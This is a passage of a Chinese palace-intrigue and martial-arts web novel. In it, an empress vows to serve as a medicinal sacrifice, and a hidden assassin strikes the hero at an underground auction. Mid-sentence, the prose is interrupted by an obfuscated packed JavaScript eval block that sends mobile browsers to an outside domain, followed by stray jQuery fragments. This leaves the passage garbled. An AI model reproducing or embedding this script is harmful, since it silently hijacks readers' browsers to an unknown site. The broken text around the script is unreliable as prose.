女子就这么雀跃地走上来,一下打破了满室肃穆的氛围。
玄微大师看到来人如此冒犯却也无动于衷,只是默默转动着手里的佛珠。女子向他打了声招呼,接着全然不顾王猛蹙起的眉头,从地上捡起那个圆溜溜的果子,用衣袖擦了擦灰尘,放入口中咬出一声脆响。
“见过皇后娘娘。”王猛心平气和地向她行礼。
来人就是当朝皇后,顶着尊号却不住在宫中,而整天在皇寺里神出鬼没的谢无殇。
她本名不叫谢无殇,叫谢嘉台。在谢家满门被灭,她行刺陛下未果又做了皇后之后,就搬进了佛寺修行,自更名为无殇。
面对丞相执礼,谢无殇笑吟吟地摇了摇脑袋,开口道:“我可受不得这般大礼,别人也就罢了,丞相难道还不知我是徒有虚名吗?”
她淡淡回眸:“我早已立誓,此生不踏出佛寺一步。”
王猛抿了抿唇,他自然清楚皇后与陛下的纠葛,在这里,没人会对谢无殇的出格之举不满。
王猛不好与谢无殇交谈些什么,只跪坐于一旁聆听玄微教诲。
玄微凝视了谢无殇片刻,缓缓开口:“我们方才所言,你都听到了?”
谢无殇放下了手里的果子,自己扯了个草席坐于一旁。
她有些不好意思地笑了笑:“说来惭愧,无殇跟随法师,带发修行多年,佛经翻了不少本,却都是字字箴言过目即忘,没有从那些话里参悟出些什么。或许神佛本就不想要我这个不学无术的人遁入门下?”她打趣道。
玄微没有笑:“无殇,你应当知道,佛陀不对渡河之人闭港,众生向道,虔诚之心本就弥足珍贵。”
谢无殇眨了眨眼睛,王猛看着玄微垂目轻语:“你参悟不透,亦非慧根不足,而是尘缘未了,心结难当。”
禅室内一片寂静。
玄微闭上双眼,轻声念诵阿弥,寺外的古钟在远山间发出浑厚而长久的回响,嗡鸣。
“那若是我命定经受红尘劫难呢?”
半响,谢无殇喃喃开口道。
沉默良久的王猛亦是开口道:“皇后,人是向前看的。改不了命,你得走出自己的运。”
谢无殇笑了:“感谢丞相提点。但是我这一生也没什么不满足的,太多人为我牺牲了,我也要为别人付出些什么。”
“可牺牲不是一句戏言,代价是付出性命!”王猛严词厉色道。
向来喜怒不形于色的玄微眼里流露出悲悯。
“没有人说牺牲的那人必须是你。”
“我们在想办法,所以才会犹豫,才会难以抉择。若是一切早已定好了,何须你来言说?”
“陛下也不会赞成。”王猛附和道。
谢无殇笑着摇了摇头:“想不出办法就是最好的证明了。你们抉择不了的,我替你们做了。这是自己我的选择,与他人无关。”
玄微大师起身移步至佛像前,抬手覆住快要被穿堂风吹灭火苗的一只残烛。谢无殇默默地从香案下拿出新的香烛,置于案上再点燃。
“你贵为皇后,却在这孤寂佛堂,供奉了三年香烛。”
谢无殇双手合十跪于佛前,听到玄微的话,缓缓阖上双目。
三年前她行刺失败,扶霄没有杀她,而是向她提出一个不情之请:用一个有名无实的皇后之位,堵上群臣的嘴。
他为谢家满门忠烈追封,谢无殇才知道自己差点杀错了人,还反倒被他救了一命。
代价就是为众人所诟病。替遗臭万年的谢家洗刷冤屈?这是向所有世家作对,即使他们知道其中存在冤情内幕,也有万千只手去阻止真相浮出水面……所图不过是蛛丝般牵扯着的利益。
她自请居于佛寺,必要时会成为噬心蛊将他吞噬之后,可能的一线生机。
以命换命,答谢恩情。
“你可有悔?”
“不曾。”
“于情于理,这人都会是我。”
...
玄微大师站在拱门处,目送着谢无殇的身影消失不见。她伴着小沙弥去爬山,神情依然那么松快。
王猛站在长明灯下,侧目注视着身旁这位得道高僧,那张素来平静祥和的脸上,竟也凸显出几分寂寞和苍老。
他垂下眼,不敢看面前庄严的佛像。
“陛下很信任清河公主,我不知道任由这样下去会如何。”
这是扶霄第一个相伴左右之人,她却有着敏感至极的身份。
爱憎会,怨别离,苦海无边,何处是岸。
王猛念诵了一句祝祷。
“我杂念太多,不敢在佛前求愿,贪嗔痴妄。”他觉得心中有一些问题始终无法解答,出家人不打诳语,王猛问身边的玄微大师:“皇后执意要做药引,若是陛下当真出了事,有没有办法让他们都不要死去?”
回应他的是长久沉默过后,一声迷惘的叹息。
“贫僧不知。”
-
墨龙窟今夜恰逢每月一次的拍卖会,赌场人声鼎沸,空气中弥漫着金钱、铁锈与血腥气混合的浓烈味道。
慕容檀与扶霄混迹在人群中,跟着魏中原进了赌场内部。高台之上,正拍卖着各色“货物”,从奇珍异宝到亡命之徒,不一而足。
慕容檀的目光掠过台上一个被黑布罩头、双手反缚、身形瘦弱的黑衣奴隶。那人低垂着头,看不清面容,只露出一段线条流畅却布满新旧伤痕的脖颈。
对这样一个脸都看不清的奴隶,台下竞价声却此起彼伏,热闹非凡。她只看了两眼,觉得那奴隶身上没什么特别之处,便不再留意,转而观察起这墨龙窟的布局。
魏中原带着他们走到黑风堂门口,差人通报后,他自顾自大步走了进去。
内室,正倚在软榻上把玩玉佩的易绍勒,透过重重幕帘看到魏中原的身影,琥珀色的眸子瞬间冷了下来。
他问属下:“谁放他进来的?告诉那人不用干了。丢去乱葬岗喂狗。”
“是……”下属冷汗涔涔,不敢多言,迅速退下。
魏中原无视周遭或敬畏或探究的目光,径直走上高阁,掀开珠帘。
易绍勒依旧慵懒地靠着,仿佛刚才那句杀伐指令并非出自他口。
“你来做什么?”易绍勒语气冰冷,带着拒人千里的疏离。
魏中原看着他,目光复杂。他在一旁坐下,斟了杯冷酒,一饮而尽。
“我来,是想告诉你一些,你或许不知道的旧事。”他声音平稳,却带着沉重的力量,“关于父亲,关于玄钩门被灭,也关于……我为何当年执意要从军。”
易绍勒嗤笑一声,别开脸,摆明了不想听。哪怕承诺过苏蕙往后作好,见了这人心里依旧难免郁结。
委屈吗?他早已习惯将一切情绪碾碎在心底,用乖张和暴戾包裹起来。
魏中原不理会他的抗拒,缓缓道来:“你一直怨我违背父命,弃家从军,觉得我贪慕虚荣,背弃了玄钩门。”
“可你是否想过,父亲临终前那句‘魏家后人不得再习武从军’,真的是因为他厌倦了江湖和朝堂吗?”
他目光灼灼地看向易绍勒:“还是因为,他预见到了什么,想为我们留一条退路?”
易绍勒把玩玉佩的手指微微一顿。
魏中原继续道:“当年接你回府时,父亲曾对我耳语,说玄钩密道,并非为了扩张势力,其建造初衷,本就是为了……给后人避祸,留一线生机。”
慕容檀与扶霄也走了过来。慕容檀从袖中取出一卷略显陈旧的羊皮纸,在案上铺开——正是当初从窦滔府中搜查寻得的玄钩密道机关总图。
她指向几处隐秘的标记和旁注的小字:“魏将军所言非虚。你们看这些标注,强调隐匿、逃生、自毁,而非进攻。老门主深谋远虑,早知树大招风之理。”
扶霄则是抛出了一个更惊人的信息:“宫中密档
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492320|180743||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记载,当年玄钩门被不明势力血洗,满门几乎罹难。”
“……而就在同一天夜里,先皇扶生夜半惊梦在尖叫中醒来,凌晨时分,一道加盖了玉玺的密诏便被送出了宫外,去向成谜。”
满室瞬间陷入死一般的寂静。
玄钩灭门,先帝密诏……这两件看似毫不相干的事情,在同一日发生,其中关联,不可细思。
为什么老门主早早开辟地下生天?为什么先皇惊梦过后,玄钩便被来路不明的高手血洗灭门?
易绍勒脸上的玩世不恭终于彻底消失,他盯着几人,琥珀色的眼眸中翻涌着惊疑、愤怒,以及一丝多年冤屈可能得以昭雪的悸动。
他扯过地图,勾勒着熟悉的路线,开始疯狂回溯当年的每一个细节,试图找出被忽略的蛛丝马迹。
就在这时,下属匆匆而入,在易绍勒耳边低语几句,拍卖会上有纷争事宜需他主持定夺。易绍勒眉头一皱,看了屋内几人一眼,道了声“失陪”,便快步离去。
片刻后,他去而复返,脸色有些古怪,似乎想说什么,又咽了回去。
他本是想起扶洛曾从他这里拿走那瓶激发蛊毒的秘药,觉得此事或许该告知扶霄,也算对他们消息的回礼。
但转念一想,此事与他们似乎无关,皇家中人怎会知晓江湖毒术?不知道扶洛背地里打的什么算盘,多一事不如少一事,终究只是摇了摇头,道:“无事。”
既然正事暂告段落,慕容檀与扶霄便起身,决定在这地下赌场再转转,看看能否发现其他线索。
两人穿梭在喧嚣的人群中,经过一个转角时,与一个眼神阴鸷的壮汉擦肩而过。
那壮汉看到慕容檀,先是一愣,随即认出了她,脸上露出狰狞的冷笑——此人正是曾被慕容檀在地下赌场教训过的墨龙窟三当家。他身后,一个手下正用粗重的铁链牵着刚刚拍卖成功的那个黑衣奴隶。
慕容檀也注意到了三当家,她不欲生事,微微侧身避开,没有理会那充满恶意的目光。然而,就在交错而过的瞬间,她心中莫名一凛,一股冰冷的寒意顺着脊梁骨窜上后颈,她几乎是本能地猛然回头——
那一直低垂着头的黑衣奴隶骤然暴起,他不知用何种方法瞬间挣脱了铁链的束缚,如同一道黑色的闪电,袖中寒光乍现,一柄短匕以迅雷不及掩耳之势,直刺慕容檀后心!
一切发生得太快,周围拥堵的人群甚至来不及惊呼。
慕容檀瞳孔骤缩,身体却因那瞬间的惊愕而慢了半拍。
“小心!”
扶霄的厉喝声与她回头的动作几乎同时响起,他一直在她身侧警惕着周遭,在那奴隶眼神微动、肌肉绷紧的瞬间就已察觉不对。
没有丝毫犹豫,他侧身运劲,用尽全力将慕容檀扑向一旁护在身下。
“噗——”
利刃入肉的闷响,在喧嚣的背景下显得异常清晰。
短刃未能刺中慕容檀,却深深地扎入了暴露后背的扶霄左肩。
鲜血瞬间涌出,染红了他玄色的衣袍。
扶霄闷哼一声,脸色瞬间苍白,却仍死死将慕容檀护在怀中,锐利的目光锁定了那一击不中、立刻遁入混乱人群的黑衣奴隶。
慕容檀被他紧紧箍在怀里,能清晰地感受到他身体因剧痛而产生的细微颤抖,以及温热的血液浸透她衣袖的触感。她抬头,看到他紧抿的唇线和额角渗出的冷汗,心脏像是被一只手狠狠抓挠了一下,几乎快要停止跳动。
那一眼交汇着惊魂未定、滔天的怒火,以及一种难以言喻的、撕心裂肺的恐慌与心痛。
慕容檀被扶霄周身那一瞬铺开的内力威压震伤,嘴角吐出一口血。
她眼下却顾不得自己,而是眼疾手快地抱住快要倒下的扶霄:“你受伤了!”
黑衣人跑掉了,三当家却未能幸免,他被随后赶来的魏中原一击肘中,废了武功的绝世高手,在刀下如死狗一般喘息着。